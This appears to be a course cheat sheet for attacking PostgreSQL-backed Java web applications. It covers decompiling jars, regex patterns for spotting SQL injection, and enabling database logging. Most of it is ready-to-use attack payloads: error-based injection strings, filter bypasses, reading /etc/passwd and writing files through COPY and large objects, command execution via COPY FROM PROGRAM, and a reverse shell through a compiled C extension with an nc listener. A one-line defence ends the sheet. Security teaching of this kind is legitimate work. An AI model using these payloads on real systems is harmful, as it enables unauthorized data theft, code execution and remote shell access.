Cheat Sheet

The cheat sheet is a useful command reference for this module.

Interacting with PostgreSQL

psql -h <host> -U <username> <database>

Decompiling Java Archives

Fernflower

mkdir <OutputDirectory>
java -jar Fernflower.jar <Application>.jar <OutputDirectory>
cd <OutputDirectory>
jar -xf <Application>.jar

JD-GUI

jd-gui <Application>.jar

Regex Patterns for Finding SQLi Vulnerabilities

SELECT|UPDATE|DELETE|INSERT|CREATE|ALTER|DROP
(WHERE|VALUES).*?'
(WHERE|VALUES).*" +
.*sql.*"
jdbcTemplate

Live Debugging Java Applications

java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=y -jar <Application>.jar

Enabling PostgreSQL Logging

/etc/postgresql/13/main/postgresql.conf

• Change #logging_collector = off to logging_collector = on
• #log_statement = 'none' to log_statement = 'all'
• Uncomment #log_directory = '...'
• Uncomment #log_filename = '...'

Common Character Bypasses

• Use /**/ instead of space
• Use $$string$$ instead of 'string'

Error-Based SQL Injection

' and 0=CAST((SELECT VERSION()) AS INT)--
' and 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) as INT)--
' and 1=CAST((SELECT STRING_AGG(table_name,',') FROM information_schema.tables LIMIT 1) as INT)--
';SELECT CAST(CAST(QUERY_TO_XML('SELECT ...',TRUE,TRUE,'') AS TEXT) AS INT)--

Reading and Writing Files

Reading with COPY

CREATE TABLE tmp (t TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
DROP TABLE tmp;

Reading with Large Objects

SELECT lo_import('/etc/passwd');
SELECT lo_get(16513);
SELECT data FROM pg_largeobject WHERE loid=16513 AND pageno=0;
echo 726f6f743<SNIP> | xxd -r -p

Writing with COPY

CREATE TABLE tmp (t TEXT);
INSERT INTO tmp VALUES ('To hack, or not to hack, that is the question');
COPY tmp TO '/tmp/proof.txt';
DROP TABLE tmp;

Writing with Large Objects

split -b 2048 /etc/passwd
xxd -ps -c 99999999999 xaa
SELECT lo_create(31337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (31337, 0, DECODE('726f6f74<SNIP>6269','HEX'));
SELECT lo_export(31337, '/tmp/passwd');
SELECT lo_unlink(31337);

Command Execution

RCE with COPY

CREATE TABLE tmp(t TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;

RCE with Extensions

sudo apt install postgresql-server-dev-13
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_rev_shell.so pg_rev_shell.c
nc -nvlp 443

CREATE FUNCTION rev_shell(text, integer) RETURNS integer AS '/tmp/pg_rev_shell', 'rev_shell' LANGUAGE C STRICT;
SELECT rev_shell('127.0.0.1', 443);

Defending Against SQL Injection

Use parameterized queries!